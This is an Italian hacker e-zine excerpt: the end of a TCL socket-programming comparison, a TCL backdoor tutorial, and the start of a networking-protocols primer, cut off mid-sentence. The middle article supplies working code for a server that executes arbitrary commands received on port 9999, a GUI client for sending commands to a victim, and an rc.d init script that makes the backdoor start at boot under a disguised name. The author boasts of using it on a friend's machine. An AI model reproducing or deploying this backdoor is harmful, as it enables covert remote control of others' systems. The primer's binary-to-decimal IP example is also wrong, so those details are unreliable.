e' nulla! Ma sappiate che la presenza di bug e' dietro l'angolo! C'e' sempre la possibilita' di rischiare di dare la propria macchina nelle mani di uno sconosciuto hacker e se c'e' un SERVER in TCL, o la programmazione e' iper sicura o si rischia di fare danni. ESEMPIO: un server che esegua determinati comani di una shell e poi dia il risultato al CLIENT. Noi siamo sicuri perche' il CLIENT da per far suo, solo determinati comandi e (essendo noi molto ingenui) non ipotiziamo che qualcuno possa fare altro da quello concesso dal CLIENT. Arriva un hacker che mi entra nella macchina come untente generico e vuole cercare un bug. Trova questo server! Un conto e' trovarlo compilato e un conto trovarlo come script. Se e' compilato e' possibile che ci rinunci e non si metta a ricercare il sorgente (dubito che si metta pure a decompilarlo!). Ma se e' uno script e conosce un minimo il TCL, capisce al volo come funziona il gioco e se e' capace puo' crearsi un CLIENT e diventare ROOT di quella macchina. EX CLARO l'esempio (particolarmente stupido)? 2 Non e' grafico ma ci vuole molto poco a farlo diventare :) Questo e' un profondo vantaggio! Poiche' e' possibile creare un SERVER non grafico ma un client programmato nello stesso linguaggio grafico! 3 E' particolamente versatile! Non prevete le strette norme del C, ma allo stesso tempo e' configurabile quasi come lui. Non e' cosi' semplice come il VB ma e' capace di fare altrettanto! 4 E' multipiattaforma, cio' vuol dire che sul mio linux mi creo un CLIENT per IRC e lo posso usare col relativo supporto anche in WINDOWS 5 E' usato anche come script per INTERNET (come il PERL e altri). 6 Comunica solo in TCP/IP. Non comunica ancora in UDP. Tutto cio' va messo su una bilancia! Vanno fatte giuste considerazioni e poi si deve scegliere cosa e' meglio per le nostre esigenze. Facciamo quindi subito un esempio di un SERVER in TCL: --------INIZIO-------- #!/usr/bin/tcl #variabile per la porta: set porta 12345 proc esamina {sock} { set l [gets $sock] #questa procedura legge in socket #e se non trova il comando EOF #cioe' di fine, stampa: if {[eof $sock]} { close $sock } else { #Stampa il tutto: puts $l } } proc accetto {sock addr port} { #regola gli enventi del socket: fileevent $sock readable [list esamina $sock] #Lo configura non bloccato (vedi C): fconfigure $sock -buffering line -blocking 0 } #crea il socket e aspetta gli eventi: socket -server accetto $porta vwait events ---------FINE--------- Cosa c'e' da dire? E' la via di mezzo fra uno e l'altro esempio. Dico una via di mezzo perche': 1 il socket non e' qualcosa di pre confezionato (creazione del socket: socket -server accetto $porta, configurazione: fconfigure $sock -buffering line -blocking 0) 2 Non e' quella serie di comandi stani per regolare le porte e simili. Ho messo una variabile contenete la porta e gliel'ho fatta leggere (potevo pero' anche non farlo). 3 E' semplice e stabile ed e' testuale. Avrei potuto farlo diventare grafico cosi': ---------INIZIO--------- #!/usr/bin/wish #possiamo vedere che non e' più TCL ma WISH, poiche' voglio la grafica #e quindi il supporto TK #creo un'etichetta: label .a -text "Attendo connessioni..." pack .a set porta 12345 proc esamina {sock} { set l [gets $sock] if {[eof $sock]} { close $sock } else { #modifico l'etichetta di prima con una nuova scritta: .a configure -text "Il messaggio trasmesso e'\n$l" } } proc accetto {sock addr port} { fileevent $sock readable [list esamina $sock] fconfigure $sock -buffering line -blocking 0 .a configure -text "Connessione avvenuta..." } socket -server accetto $porta vwait events ----------FINE---------- Una grafica scarna solo per necessita', ma e' possibile creare applicazioni della stessa complessita' del VISUAL BASIC. Analizziamo ora il CLIENT in TCL: --------INIZIO---------- #!/usr/bin/tcl set s [socket 127.0.0.1 12345] fconfigure $s -buffering line puts $s "Un semplicissimo messaggio" --------FINE----------- Mi direte: ma e' più corto di VB! Si' e' vero solo perche' non ho messo l'opzione di scelta del messaggio come avevo fatto in visual basic. Se cosi' avessi fatto sarebbe diventato questo: -------INIZIO----------- #!/usr/bin/wish label .messaggio -title "Inserisci nello spazio sottostante\nun messaggio da\ inviare al server" entry .spazio -textvariable msg button .invia -text "ok" -command spedisci pack .messaggio .spazio .invia proc spedisci {} { global $msg set s [socket 127.0.0.1 12345] fconfigure $s -buffering line puts $s $msg } ------FINE-------------- Semplice no? Vi ricordo che tutti gli esempi qui riportati sono solo base. Gia' in queso avrei dovuto fare un controllo della presenza del messaggio, poi avrei dovuto mettere un titolo alla finestra e simili. Ma queste sono solo sottigliezze. SERVER: testuale --> 298 byte grafico --> 606 byte CLIENT: testuale --> 114 byte grafico --> 342 byte I programmi più piccoli mai esistiti sulla faccia della terra! Mettiamo a confronto i 4 programmi: ----------------------------------------------- | | C | VISUAL | TCL | TCL/TK | | | | BASIC | | | ----------------------------------------------- | SERVER | | | | | | sorgente | 1521 | 1525+651 | 298 | 606 | | compilato| 12826| 10.240 | | | ----------------------------------------------- | CLIENT | | | | | | sorgente | 1361 | 1460+651 | 114 | 342 | | compilato| 13063| 10240 | | | ----------------------------------------------- Possiamo quindi tranquillamente affermare che se il nostro problema e' lo spazio il TCL e' il massimo. Se il nostro problema e' la grafica possiamo optare per il VB o il TCL/TK Per quanto riguarda altri aspetti... spero di essere stato abbastanza chiaro! Se il nostro problema e' la sicurezza gia' sappiamo! La mia panoramica sui SOCKET direi che finisce qui! Ho esaminato tre linguaggi che mi sembrano esempi di 3 tipologie distinte di linguaggi mostrandone i pregi e i difetti. Per aiuti, critiche o commenti sappiate che io sono reperibile sempre al mio indirizzo email! Ciao e buona programmazione! -----------------------------------FINE------------------------------------ Michael Bakunin <bakunin@meganmail.com> ========================================================================================== ---------------------------------------------- | Una idea sulla creazione di una BACKDOOR... | ---------------------------------------------- | by | | Michael Bakunin | | <bakunin@meganmail.com> | ---------------------------------------------- Eccomi di nuovo qui! Sono tornato con una bella idea (o forse molto più di un'idea :) ) molto caruccia sull'installazione di una backdoor in un sistema *nix e Linux. Io l'ho provato su LINUX e vi assicuro che funziona! Quindi... ...prima di incominciare vi devo dire questo: ***************************************************************** ** Tutto quello che scriverò è solo a scopo informativo, quindi ** *** se fate danni o semplicemente vi sgamano e vi trovare la pula *** *** sotto casa... è solo un problema vostro. In non centro *** ** assolutamente con l'uso che fate di queste informazioni! ** ***************************************************************** Che cosa vi voglio raccontare oggi? Semplicemente come creare un trojan e come piazzarlo un sistema LINUX in modo che parta all'avvio autonomamente permettentoci di fare sulla macchina della vittima ciò che ci pare e piace! Io l'ho provato sul PC di un mio amico :) che ha la RH 6.0 e mi sono divertito tanto, tanto! Anzi... tantissimo! Poi lui ha fatto casini e ha reinstallato tutto portandosi alla RH 6.1... Magari rifaccio il giochino! Probabilmente conoscendolo sta leggendo pure questo articolo (PS: se verrà pubblicato!) quindi... non vi posso (ma soprattutto non GLI!) posso dire il nome. Io ho scelto il TCL come linguaggio per un semplice fatto: 1 è veloce da scrivere! Si può scrivere direttamente sul computer della vittima :) Ma saltiamo i convenevoli e passiamo subito alla parte pratica del gioco! CONOSCENZE INDISPENSABILI: 1 Un minimo di programmazione in TCL/TK 2 Saper conquistare il root in un sistema UNIX Questo articolo si occupa di 3 cose: 1 CREAZIONE DI UN SERVER 2 CREAZIONE DI UN CLIENT 3 COME METTERE IL SERVER ALL'AVVIO DI LINUX Fin qui dovremmo esserci! Premessa: 1 Tutta a programmazione che qui vi mostrerò sarà fatta in TCL. E' "di serie" su tutte le piattaforme linux e in teoria su tutte le piattaforme *NIX. Dico in teoria perchè diciamo che se prendete una distro UNIX degli anni 60... forse non c'è ancora! 2 Non mi preoccupo in questo articolo di come procorarci il "root". Mi preoccupo soltanto della creazione della backdoor. Inizio: Noi sappiamo che esistono dozzine di backdoors. Sicuramente il più semplice è un aggiungere un nuovo utente con permessi root, ma fin tanto che voi creiate un nick anonimo, comunque l'amministratore prima o poi se ne accorgerà. Forse, una più sofisticata è creare un server da piazzare all'interno dell'OS in modo particolarmente anonimo, che parta all'avvio e che ascolti una porta sconosciuta. È possibile accorgersi pure qui della presenza della backdoor... ma forse è più complicato (specie se OP è particolarmente incompetente!). Facciamo un server particolarmente semplice per iniziare in TCL: ------INIZIO--------- #!/usr/bin/tcl proc ascolta { fd addr port } { while { [ gets $fd l ] != -1 } { puts "ricevuto: $l" } flush stdout } set s [ socket -server ascolta 9999 ] vwait name ------FINE----------- Se volete altri esempi... leggete il mio articolo sul confronto tra i socket. Lì c'è anche una spiegazione generale del funzionamento. Abbiamo creato un socket "s" che è server e che ascolta alla porta 9999. Quanto avviene la connessione di un client, parte la procedura "ascolta" che riceve dati e li stampa. Finqui niente di che! Incominciamo a modificarlo per bene: 1 CI VA BENE LA PORTA 9999 ? Fate un po' voi... 2 COSA GLI FACCIAMO FARE? Incominciamo con l'eseguire un comando... In TCL per fare questo si usa il comando: EXEC comando opzioni Quindi diventerebbe: ------INIZIO--------- #!/usr/bin/tcl proc ascolta { fd addr port } { while { [ gets $fd l ] != -1 } { exec $l & } flush stdout } set s [ socket -server ascolta 9999 ] vwait name ------FINE----------- Ho aggiunto anche il segno & che avvia il comando in background... Così possiamo fare più comandi che richiedono tempo! Possiamo anche dare un saluto iniziale e un messaggio di avvenuto messaggio. Questo si fa con il comando PUTS Che diventa: PUTS $socket "MESSAGGIO" ------INIZIO--------- #!/usr/bin/tcl proc ascolta { fd addr port } { puts $fd "$addr:$port you are connected to the 999 port" while { [ gets $fd l ] != -1 } { exec $l & puts $fd "ok" } flush stdout } set s [ socket -server ascolta 9999 ] vwait name ------FINE----------- Vi chiedete perchè in inglese? Meglio non rischiare! Unix è tutto in inglese. Cosa succedere fino a qui se montassimo questo socket? Che appena un client si connetterebbe, riceverebbe il messaggio farebbe l'operazioni e poi si chiuderebbe all'istante. Questo vuol dire che se io voglio entrare nella directory /usr/sbin e lanciare un programma, dovrete mettere come messaggio dal client questo: cd /usr/sbin;./nome_programma ok? Questo perchè in LINUX come in UNIX i comandi possono essere dati anche non in serie ma separati da un ; Questo potrebbe essere soddisfacente perchè apre la porta in modo veloce... il client, appena dato il comando si sconnetterà data il fatto che il comando è stato messo in background. Mica male! Da notar il ciclo che ci permette di dare un messaggio più di una riga. Questo ci sarà utile per il CLIENT quindi... Ora preoccupiamoci del CLIENT: Il client può essere benissimmo una semplice sessione di telnet, ma dato che ci piace fare i raffinati, facciamolo fino in fondo! Facciamo un CLIENT grafico che si connetta ad un server dato alla porta 9999 e che gli mandi i comandi che vogliamo. ---------INIZIO----------- #!/usr/bin/wish set host "" set msg "" #Con questi imposto il titolo e la geometria della finestra: wm title . "CLIENT by BAKUNIN" wm geometry . 400x200 #Sfondo rosso: . configure -bg red #Parte dell'HOST: label .host -text "Inserisci qui l'HOST della vittima:" -bg red entry .nhost -textvariable host place .host -x 10 -y 20 place .nhost -x 230 -y 20 #Parte per il messaggio: label .msg -text "Inserisci qui i comandi da dare al SERVER:" -bg red entry .mess -textvariable msg place .msg -x 10 -y 60 pack .mess -fill x -pady 30m button .connetti -text "Connetti e invia" -command invia -bg blue place .connetti -x 130 -y 130 #Procedura per l'invio del messaggio: proc invia {} { global host msg #Controllo se l'HOST è stato messo: if {[string length $host]<=0} { tk_messageBox -icon info -type ok -message "Attenzione! Non hai messo l'host!" return 1 #Controllo per il messaggio esiste: } elseif {[string length $msg]<=0} { tk_messageBox -icon info -type ok -message \ "Non ha nessun senso connettersi al SERVER se manca un messaggio!" return 1 #Controllo se l'IP è corretto: } elseif {![string match *.*.*.* $host]} { tk_messageBox -icon info -type ok -message \ "Attenzione! L'HOST è tipo 127.0.0.1 !" return 1 } else { #Creo il socket e invio i dati: set s [socket $host 9999] puts $s $msg tk_messageBox -icon info -type ok -message \ "Messaggio inviato con successo!" return 1 } } ----------FINE------------ Fatto! L'ho pure commentato per farvelo capire meglio :). Semplicemente mando un messaggio all'IP... sarà poi lui a farlo eseguire. Sappiate che il CLIENT è accetta 2 variabili: HOST e MSG. Uno è il IP del server, l'altro è il messaggio da mandare. Per sicurezza ho fatto dei controlli sulle variabili. Questi sono: LA LUNGHEZZA (che non deve essere nulla!): if {[string length $msg]<=0}... ed anche: if {[string length $msg]<=0} {... SE È UN VERO IP: if {![string match *.*.*.* $host]} {... Poi connetto con il solito uso dei socket: set s [socket $host 9999] e invio i messaggi: puts $s $msg. EX CLARO? Passiamo alla parte più interessante... far partire un processo all'avvio! COME FARE? Semplicissimo! Basterà creare uno script anche ben inculato... e linkarlo nel posto giusto! Metterò lo server in TCL nella directory /usr e lo salverò col nome di 1dd2cd. Voi mettetelo dove volete! Questo script lo salvo nella stessa directory /usr e lo salvo come 1dd2ck Vediamo prima lo script che ci serve: --------INIZIO------------- #!/bin/sh case "$1" in start) echo -n "Attivation connection:" tcl /usr/1dd2cd & || exit 1 echo "." ;; stop) #Volete dare pure la possibilità di fermarlo? =) echo "." ;; *) echo "Use: 1dd2ck {start|stop}" exit 1 ;; esac exit 0 --------FINE------------------ Semplice no? Per non marcare particolarmente non mettiamo in esecuzione il file 1dd2cd! Ma teniamolo come file normali. Per farlo partire interpelliamo direttamente il programma tcl: tcl /usr/1dd2cd. Sicuramente dovrete dare l'eseguibile al file 1dd2ck, quindi: chmod +x /usr/1dd2ck Ora mettiamolo in esecuzione all'avvio! Come fare? Entriamo nella directory /etc/ Qui dovrebbe esserci una directory /rc.d e altre varie. Dico dovrebbe perchè cambia in base alle distro di UNIX o LINUX. Entrate nella directory che ci assomiglia di più e all'interno entrate nella directory che volete! Dico questo perchè mediamente queste dovrebbero tipo: rc1.d rc2.d o simili Sappiate che in base alle varie distro può cambiare abbastanza! Entrati lì dentro fate questo: ln -s /usr/1dd2ck S391dd2ck Cosa ho fatto? Semplice, ho creato un collegamento simbolico da /usr/1dd2ck alla directory in cui siete ora. In più ho dato il nome al link come S39idd2ck. NOTA IMPORTANTE: S39 per un motivo molto importante! Nella directory che avete scelto per il link vedrete che tutti i file sono numerati o come Snumero o come Knumero. È indifferente che lettera scegliete l'importante e che il numero sia molto basso. Io ho scelto S39 ma se c'è già cambiate! Mettete il numero che volete voi in base all'assenza di essi. Quindi fate! Più il numero è piccolo più parte prima all'avvio. Avete in mente come parte una macchina linux? Dopo i lavori del kernel, incomincia a far partire file di configurazione. Quelli sono tutti lì! E vengono caricati in ordine del numero e della lettera. Ora non resta che farlo partire subito con un bel: ./1dd2ck start e via! La backdoor è montata e funzionante... non vi resta che uscire e giocare con vostro bel client sulla porta 9999. Spero di avervi mostrato un metodo come un altro per la creazione di una backdoor in un sistema *NIX/LINUX con un minimo di programmazione in TCL. Messaggi, suggerimenti, correzioni e simili... in somma tutto quello che volete! a Michael Bakunin. Ciao a tutti! Michael Bakunin bakunin@meganmail.com ------------------------------------FINE------------------------------ ========================================================================================== Protocolli di rete ------------------ scritto da legba newflesh@bigfoot.com ------------------ INTRO (leggetela!) Perche' ho scritto queste pagine? bhe'... il concetto e' semplice, se leggo un libro una volta mi ricordo un po' di cose, se lo leggo e lo riassumo me ne rimangono di piu'. Una volta scritti gli appunti poi renderli condivisibili e' il mio piccolo contributo affinche'chi razzola su internet impari a conoscere e rispettare lo strumento che usa. Questo ha un vantaggio ed e' quello che nessuno vi chiedera' mai dei soldi per leggere queste pagine e uno svantaggio che e' il fatto che io queste cose le ho imparate studiando su un libro, nessuno mi paga, quindi non vi assicuro che non contengano qualche stronzata (se ne trovate siete pregati di farmelo sapere) e non hanno la pretesa di essere complete o omnicomprensive, possono essere un punto d'inizio per avere una panoramica su concetti che poi approfondirete da soli. La prossima volta che studiate qualcosa fatelo anche voi :) Ultimo commento prima di iniziare, tutto quello che c'e' scritto da qui in poi e' frutto del mio interesse per la rete e le sue viscere, non nasce dalla voglia di "entrare nel computer di qualcuno" (io per primo non l'ho mai fatto) quindi non pensate che sia quello che si impari, se vi interessa come e' fatta la rete leggete, altrimenti leggete lo stesso perche' non entrerete mai nel computer di nessuno se non sapete queste cose (e molte altre). iniziamo.... Le comunicazioni di rete avvengono attraverso protocolli organizzati in strati (layer), si parte dai protocolli di basso livello (comunicazioni tra due macchine a livello "fisico") fino a i protocolli di livello applicazione (telnet, ftp...). Lo schema rappresenta i vari strati e alcune delle "applicazioni" che gli appartengono, le due parti di questo libercolo riguardano il secondo e il terzo, non credo avro' la pazienza di scrivere anche sul quarto... buona lettura :) __________________________________________________ 4- application layer | SMTP, FTP, TELNET, SMNP .... | |________________________________________________| 3- transport layer | TCP , UDP | |________________________________________________| 2- internet layer | IP (+ ARP, RARP, ICMP, IGMP) | |________________________________________________| 1- hardware layer |_________drivers, schede, fibre..ecc____________| NB la struttura dei protocolli nella sua accezione piu' generale prende il nome di protocollo IP ma essendo le comunicazioni fortemente basate anche sul TCP spesso il tutto viene chiamato protocollo TCP-IP. *********************PARTE I*********************** PROTOCOLLO IP Per capire che cos'e un protocollo e a che cosa serve bisogna prima avere un'idea di come e' fatta la rete: Internet e' costituita da tante reti diverse collegate insieme, ognuna di queste reti e' nata per scopi diversi ed ha caratteristiche diverse, ci sono reti locali (LAN) che hanno come caratteristica principale la velocita' e collegano solo poche decine di computer, altre che si estendono per chilometri, altre che offrono sicurezza e affidabilita'... e' ovvio che ognuna di queste reti sara' costituita da macchine, software, organizzazione dei dati di tipo diverso quindi non e' per niente banale riuscire a farle comunicare tra di loro. Le reti sono collegate tra di loro attraverso dei router o gateways che non sono altro che macchine che fanno da ponte tra due o piu' reti. Il protocollo TCP-IP e' un'insieme di convenzioni che rendono possibile la comunicazione tra reti diverse (il protocollo e' in evoluzione, la versione ufficiale a cui siamo arrivati e' la 4 ma sembra che presto si passera' alla 6). Per fare questo crea una sovrastruttura indipendente dalle singole LAN, ognuna di queste viene trattata come un'entita' a parte di cui non interessa il contenuto, il protocollo si basa solo sulla sua sovrastruttra. La cosa fondamentale da capire e' che il protocollo deve essere indipendente dalle singole reti locali, il protocollo deve vedere le reti locali come un insieme di connessioni alla rete estesa disinteressandosi delle macchine che sono associate ad ogni connessione. INDIRIZZI FISICI E INDIRIZZI IP La possibilita' di scambiare dati tra una macchina A e una macchina B e' collegata alla necessita' di dare un nome alle macchine, la macchina A deve sapere l'"indirizzo" della macchina B. All'interno di una LAN questo viene ottenuto in molti modi diversi, per esempio una sceda di rete ha un numero che identifica la macchina nella quale risiede, in internet bisogna fare in modo che ogni connessione (=accesso alla rete) abbia un proprio indirizzo. La differenza fra gli indirizzi in una LAN e quelli in internet e' che normalmente in una lan ogni macchina ha un proprio indirizzo fisico associato alla scheda, *tutti gli scambi all'interno di una stessa rete vengono fatti utilizzando gli indirizzi fisici* quindi se io sposto la scheda di rete su una macchina diversa l'idirizzo ora corrisponde alla nuova macchina, il protocollo deve invece essere indipendente dalle LAN e dalle singole macchine quindi invece di dare un indirizzo fisico ad ogni macchina si da' un indirizzo ad ogni connessione, ogni accesso alla rete ha un identificazione, indipendentemente dalla macchina che gli associamo. Quindi: *il protocollo IP vede una LAN come un insieme di connessioni, indipendentemente da quali o quante macchine ci siano in effetti attaccate* Questo presuppone di sapere il numero di connessioni che una rete ha verso internet, ma viene dopo... Il protocollo IP utilizza un tipo di indirizzo (indirizzo IP o semplicemente IP) costituito da quatto byte ovvero quattro ottetti di cifre in binario, un esempio di ip e' : 11011111.11111000.11100110.00001101 che in decimale si puo' scrivere 191.248.240.13 Gli indirizzi vanno da 0.0.0.0 a 255.255.255.255 sono quindi in totale 256^4 anche se alcuni di questi sono riservati per usi particolari. Ad ogni LAN viene assegnata una *classe di ip*, ovvero un certo numero di indirizzi, la prima parte dell' indirizzo identifica la LAN (netid) la seconda parte identifica la connessione (hostid). Piu' precisamente esistono 3 classi di ip che vengono assegnate alle LAN a seconda delle loro dimensioni 0 1 2 3 8 16 24 31 Bit _________________________________________ |0| netid | hostid | Classe A |_|__________|____________________________| __________________________________________ |1|0| netid | hostid | Classe B |_|_|_________________|___________________| _________________________________________ |1|1|0| netid | hostid | Classe C |_|_|_|_________________________|_________| La classe A offre 7 bit per il netid e 24 per l'hostid e' utilizzata quindi per reti con molte connessioni, le classi B e C funzionano allo stesso modo per reti via via piu' piccole, i primi bit servono per riconoscere a quale classe appartiene un ip. Ogni volta che un router riceve un pacchetto da inviare legge i primi bit, riconosce quindi a quale classe appartiene l'ip, legge il netid e manda il pacchetto alla rete corrispondente, una volta che il pacchetto e' arrivato alla rete viene usato l'hostid per indirizzare il pacchetto verso la connessione giusta (vedi dopo,routing). Alcune convenzioni sono che un ip formato da tutti 1 equivale a un broadcast su tutta la rete locale ovvero se specifico tutti 1 nel destinatario il pacchetto viene mandato a tutti gli utenti della LAN (broadcast), un ip costituito da tutti 0 equivale a "questo utente" ,se invece la prima cifra e' 127 ci si riferisce alla propria macchina, il risultato e' lo stesso di scrivere una fila di zeri ma il pacchetto non lascia mai la propria macchina mentre con una fila di zeri il pacchetto viene mandato in rete e ritorna al mittente. NB: abbiamo detto che un router e' una macchina che collega due o piu' reti, quindi deve far parte allo stesso tempo di due reti diverse, perche' questo avvenga e' necessario che il router abbia due indirizzi ip, uno per ogni rete di cui fa parte. GESTIONE DEGLI INDIRIZZI FISICI (protocollo ARP e RARP) Normalmente una LAN non nasce per internet, viene creata per certi scopi e successivamente collegata con internet, quando la rete viene creata le comunicazioni avvengono solo attraverso gli indirizzi fisici, nel momento in cui la si collega alla rete estesa questa caratteristica non la si puo' cambiare, le comunicazioni all'interno di una LAN avvengono sempre attraverso indirizzi fisici. Quando una macchina viene collegata il provider gli assegna un indirizzo ip, per esempio quando ci si collega da casa si entra a far parte della LAN del provider e ci viene assegnato un ip che utilizziamo per navigare, la stessa cosa se il nostro computer fa gia' parte della LAN (quando ci colleghiamo con il modem viene assegnato un indirizzo fisico *logico* alla nostra connessione e il tutto funziona esattamente come se fossimo parte della rete attraverso una scheda), il problema fondamentale e' il rapporto tra l'indirizzo fisico e quello ip, per capire meglio il problema facciamo un esmpio: RETE n RETE n+2... RETE 1 | | RETE 2 | | B1 ___R1---R3----R2______________B2 | / | \ | | / | \ | A1----S1----D1 RETE n+1... A2----S2----D2 | | | | C1 C2 Ammettiamo che l'host A1 sulla rete 1 voglia mandare un pacchetto all'host A2 sulla rete 2, il pacchetto viene mandato al server S1, siamo sempre nella rete 1 quindi si usano indirizzi fisici, S1 lo manda al router R1 utlizzando il suo ip, R1 lo manda a R3, R3 lo manda a R2, tutto solo attraverso l'ip, R2 lo manda a S2, S2 ha un pacchetto di cui conosce l'ip del destinatario ma deve usare indirizzi fisici per mandarlo a destinazione. Come fa S2 a sapere quale indirizzo fisico corrisponde all'ip di A2? Abbiamo detto che gli indirizzi ip sono indipendenti dalle macchine quindi non si possono, tranne in casi particolari, assegnare in relazione dell'indirizzo fisico, normalmente quando una connessione diventa attiva l'indirizzo gli viene assegnato dal server o da una altra macchina arbitrariamente (vedi RARP) quindi il problema rimane. Viene risolto attraverso il protocollo ARP (Address Resolution Protocol) che consiste nel broadcast di un messaggio di richiesta dell'ip, in altre parole S2 manda un pacchetto su tutta la rete dove richiede alla macchina a cui corrisponde l'ip XXX di rispondere e specificare il suo indirizzo fisico. Di tutte le macchine sulla rete risponde solo la macchina che ha veramente l'indirizzo ip XXX, le altre scartano il pacchetto, a questo punto S1 conosce l'indirizzo fisico di A2 e puo' iniziare a mandargli dati con questo. Normalmente S2 ha montata una memoria dove mantiene per un breve periodo la coppia ip-mac (mac address=indirizzo fisico) cosi' da non dover tutte le volte rifare il broadcast, anche supponendo che di solito un pacchetto non e' solo ma ne seguiranno altri. Un problema simile e' quello del riconoscimento da parte di un host del proprio ip, in alcune reti l'ip di una macchina e' sempre lo stesso ma normalmente gli ip vengono assegnati dinamicamente, ovvero ad ogni connessione corrisponde un ip diverso. Come puo' la macchina M sapere quale e' il proprio ip? Non lo sa, e lo chiede. Ammettiamo che ci sia una macchina S che sia quella che assegna gli ip alle nuove connessioni, non e' detto che S sia fisicamente sempre la stessa macchina, per qualche motivo puo' venire cambiata e quindi cambia il suo indirizzo fisico, puo' anche essere che esistano piu' macchine S con la stessa funzione, in generale l'indirizzo di S puo' non essere sempre lo stesso quindi M non puo' semplicemente "chiederlo" a S. Per assegnare gli ip si usa il protocollo RARP (Reverse ARP) ovvero M manda un broadcast su tutta la rete chiedendo alla macchina S di rispondere, il messaggio nel campo protocol dell'ip header (vedi dopo) contiene il codice che identifica RARP, S risponde a M indicando (assegnandole) il suo ip. CONNECTIONLESS PACKET DELIVERY SERVICE E' il servizio basilare che offre il protocollo IP. Qui bisogna fare un po di distinzione tra il protocollo IP e gli altri protocolli che vengono usati al suo interno. La necessita' fondamentale e' quella di connettere reti diverse, sia per l'hardware che per il software, questo viene offerto dal protocollo IP attraverso un sistema di assegnazione degli indirizzi (quello che abbiamo visto finora), un formato standard da utilizzare per i dati (arriva ora) e una modo generale su come indirizzare i dati nella rete (routing, arriva dopo). Quindi attraverso il protocollo IP si e' creata quella sovrastruttura di cui si parlava prima; anche se a livello basilare macchine diverse ora hanno un linguaggio comune con cui interagire. Ottenuto questo ogni servizio che viene offerto in rete utilizza dei meccanismi che sfruttano tale linguaggio utilizzando gli stessi elementi ma ricombinandoli in modo da ottenere il proprio scopo; per esempio il protocollo UDP forma una sovrastruttura su quella gia formata dall' IP , la stessa cosa fa il protocollo TCP. In particolare quest' ultimo viene usato cosi' frequentemente da essere considerato parte integrante dell'ip, l'insieme dei protocolli imposti dall' IP viene chiamato spesso TCP-IP. L' IP viene chiamato "unreliable,best effort, connectionless packet delivery service". Connectionless perche' permette la comunicazione tra due host tra i quali non ci sia una vera connessione diretta (un canale preferenziale solo per quei due), packet dleivery system perche' offre un sistema per trasferire dati suddividendoli in pacchetti, unreliable (inaffidabile) perche' se un pacchetto viene disperso il protocollo non informa ne' il mittente ne' il ricevente della perdita, soprattutto non comprende nessun tentativo di farlo, best effort perche' in fondo ce la mette tutta. I dati vengono trasportati in rete in pacchetti (datagram) di dimensione prestabilita, il formato standard prevede che ogni pacchetto deve essere costituito da un numero massimo di 2^16 byte, circa 65k. Ogni volta che mandiamo un file qualsiasi da un computer ad un altro il file viene suddiviso in pacchetti, i pacchetti vengono inviati singolarmente e viaggiano *in modo indipendente*, all'arrivo vengono riassemblati per ricostruire il file originale. FRAMMENTAZIONE: l'MTU (maximum transfer unit) ovvero la dimensione massima dei pacchetti e' un concetto presente ovviamente in ogni protocollo che governa una rete sia estesa che LAN, ovvero ogni LAN ha un suo mtu che soddisfa ai propri scopi. I pacchetti viaggiano attraverso LAN e quindi si puo' presentare la situazione in cui un pacchetto da 65k viene mandato all'interno di una rete che ha un mtu diverso. Se l'mtu e' piu' grande non c'e' problema, se l'mtu e' minore il pacchetto viene suddiviso in frammenti piu' piccoli, questi frammenti sono anch'essi del tutto indipendenti l'uno dall'altro e vengono riassemblati solo a destinazione, non all'uscita dalla LAN. Sarebbe molto piu' difficile riunirli tutti all'uscita della LAN e ricostruire il pacchetto che vi e' entrato, lo svantaggio che ne esce e' che il file di partenza viene suddiviso in piu' pezzi e quindi aumenta la possibilita' che qualcuno vada perso. SCHEMA DI UN IP DATAGRAM I 2^16 byte di un datagram sono suddivisi in una prima parte (header) che contiene informazioni sul datagram, quando un router riceve un datagram guarda negli header per leggere il destinatario, il mittente ed altre informazioni che possono essergli utili, il resto del datagram e' composto dai dati da trasportare. Quando un dtagram viene frammentato lo si suddivide in altri datagram che hanno lo stesso header e una parte dei dati che conteneva l'originale. Questo e' lo schema generico di un datagram suddiviso in unita' di 32 bit. 0______4_____8____________16___19________24_____________31 |vers | hlen| tipo di s. | | lunghezza totale | | identifier |flag| fragment offset | |_________________________|____|_________________________| |time to live| protocollo | header checksum | |____________|____________|______________________________| | IP mittente | |________________________________________________________| | IP destinatario | |________________________________________________________| | opzioni IP | padding | |________________________________________|_______________| vediamo i campi uno per uno: Vers: Versone del protocollo IP che e' stato usato per creare il datagram la versione attuale e' la 4 Hlen: Lunghezza dell'header misurata in parole di 32 bit. Tipo di servizio : e' diviso in: 0__1__2__3__4__5__6__7__8 | prec. | D| T| R| | |________|__|__|__|_____| precendenze: specifica l' "importanza" dei dati contenuti con un numero in binario da 1 a 7 D : Richiede che il datagram sia spedito con il minor ritardo possibile (D=1 low delay, D=0 no low delay) T : Richiede che il datagram sia spedito attraverso reti ad "alta capacita'" R : Richiede che il datagram sia spedito attraverso reti affidabili Gli ultimi due sono inutilizzati. Va detto ll'utilizzo del Type of service e'opzionale, ovvero il router che riceve un pacchetto e legge le opzioni non e' detto che possa o voglia seguire le richieste fatte. Alcuni router non le leggono nemmeno. Lunghezza totale: esprime la lunghezza totale del datagram (il datagram sono al massimo 65k ma puo' essere piu' piccolo) Identification: Quando una macchina genera un datagram gli assegna un numero che lo identifica, in questo modo se il datagram viene frammentato ogni frammento porta lo stesso numero e si puo' ricostruire il pacchetto iniziale. Flags: sevono per la frammentazione; se il primo bit vale 1 si richiede che i l datagram non venga frammentato, quindi di farlo passare per reti ad alta capienza (se questo non e' possibile il router lo elimina e manda un messaggio di errore al mittente, vedi icmp), se il secondo vale 1 vuol dire che il datagram e' l'ultimo frammento di quelli in cui e' stato suddiviso il datagram originale, serve a fare in modo che a destinazione si sappia se tutti i frammenti di un dato pacchetto sono arrivati. Fragment offset: e' presente nei frammenti, specifica quale e' la posizione dei dati contenuti nel pacchetto all'interno del datagram originale. La posizione e' specificata in unita' di 8 bit. Time to live (TTL): E' un campo che specifica il tempo di vita del datagram, ammettiamo che per qualche motivo un datagram entri in un loop tra due router, per evitare che in queste situazioni vada avanti e indietro all'infinito quando viene creato gli si da' un tempo di vita. Ogni volta che passa per un router il TTL viene diminuito di 1 + tempo di attesa che il datagram ha "sostato" nel router prima di essere inviato. Protocol: Specifica il tipo di protocollo che viene utlizzato per rappresentare i dati, tcp,udp,icmp... Header Checksum: Contiene un codice attraverso il quale si puo' fare un controllo dell'integrita' dell'header (vedi udp checksum), NB solo dell'header e non dei dati. IP mittente/destinatario: si spiega da solo Opzioni: viene usato per il teting/debugging di reti, e suddiviso in: 0___1___2___3___4___5___6___7___8 | A | B | C | |___|_______|___________________| lo spazio A si chiama copy e specifica se ha valore 1 che si vuole che le opzioni vengano ricopiate su ogni frammento in cui il datagram verra' eventualmente diviso, 